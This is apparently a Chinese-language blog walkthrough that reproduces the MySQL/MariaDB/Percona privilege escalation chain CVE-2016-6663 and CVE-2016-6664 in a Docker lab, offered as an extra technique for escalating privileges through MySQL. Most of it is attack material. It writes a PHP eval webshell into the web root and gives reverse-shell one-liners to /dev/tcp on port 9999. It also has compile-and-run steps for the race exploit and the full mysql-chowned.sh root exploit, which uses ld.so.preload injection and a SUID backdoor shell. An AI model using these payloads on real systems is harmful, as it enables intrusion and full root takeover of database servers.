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0x00 前言
曾经面试的时候问过我关于MySQL的提权除了MOF、UDF、启动项外还有什么能提权的呢?然后就在漏洞库里找到了相关MySQL爆出的CVE-2016-6662、CVE-2016-6663、CVE-2016-6664提权漏洞。
之后我在本地搭建docke测试环境,也复现成功了,算是一个额外的小手法,以后各位师傅无法利用MySQL常用的提权方式提权的话,可以试试这个方法。
影响版本:
MariaDB< 5.5.52
MariaDB< 10.1.18
MariaDB< 10.0.28
MySQL<= 5.5.51
MySQL<= 5.6.32
MySQL<= 5.7.14
Percona Server< 5.5.51-38.2
Percona Server< 5.6.32-78-1
Percona Server< 5.7.14-8
Percona XtraDB Cluster< 5.6.32-25.17
Percona XtraDB Cluster< 5.7.14-26.17
Percona XtraDB Cluster< 5.5.41-37.0
GitHub:https://github.com/TheCryingGame/CVE-2016-6663
0x01 环境搭建
1.1、采用docker作为测试系统环境
MySQL=5.5.47
# docker运行及必要环境配置
docker run -d -p 83:80 -p 3366:3306 -p 9999:9999(反弹端口) --name MySQLprivileges tutum/lamp:latest //开启
docker exec -it <container_id> bin/bash
apt update && apt install -y wget gcc libmysqlclient-dev
# webshell写入
echo "<?php @eval(\$_POST[r0n1n]);?>" > /var/www/html/shell.php
chmod -R 777 var/www/html
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1.2、数据库配置
# 添加用户test,密码123456,授予权限create,drop,insert,select
mysql
create database testdb;
CREATE USER 'test'@'%' IDENTIFIED BY '123456';
grant create,drop,insert,select on testdb.* to 'test'@'%';
flush privileges;
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0x02 www-data权限提升为mysql权限(利用CVE-2016-6663)
2.1、菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件。
2.2、反弹shell
写脚本1.txt bin/sh 1.txt
/bin/bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
/bin/bash -i >& /dev/tcp/10.168.168.141/9999 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'
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2.3、反弹shell的监听端,执行如下指令
cd var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost testdb
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如图可以看到已提升为mysql权限
0x03 Mysql权限提升为root权限(利用CVE-2016-6664)
注意:目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式,不过tutum/lamp日志方式为syslog,需要如下修改
vi etc/mysql/conf.d/mysqld_safe_syslog.cnf
删除syslog
重启mysql:mysqld_safe --user=mysql
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条件:grep -r syslog etc/mysql 返回没有任何结果既满足“基于文件的日志”要求
解决办法:上传mysql-chowned.sh,源代码:
#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# http://legalhackers.com
#
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
# See full advisory for details at:
#
# http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
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注意:必须以mysql权限执行才能成功提为root,可以利用CVE-2016-6663提升为mysql权限的shell执行如下指令
wget https://github.com/firebroo/CVE-2016-6663/blob/master/poc.sh
chmod 777 poc.sh
./poc.sh /var/log/mysql/error.log
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已获得root权限
0x04 总结
1、从www-data权限提升为MySQL
(1)已经getshell,当前为www-data权限;
(2)获取到一个拥有create,drop,insert,select权限的数据库账号权限;
(3)提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权。
2、从MySQL提升为root权限
(1)目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可);
(2)前提在mysql权限下运行才能利用(可先获取mysql权限)。

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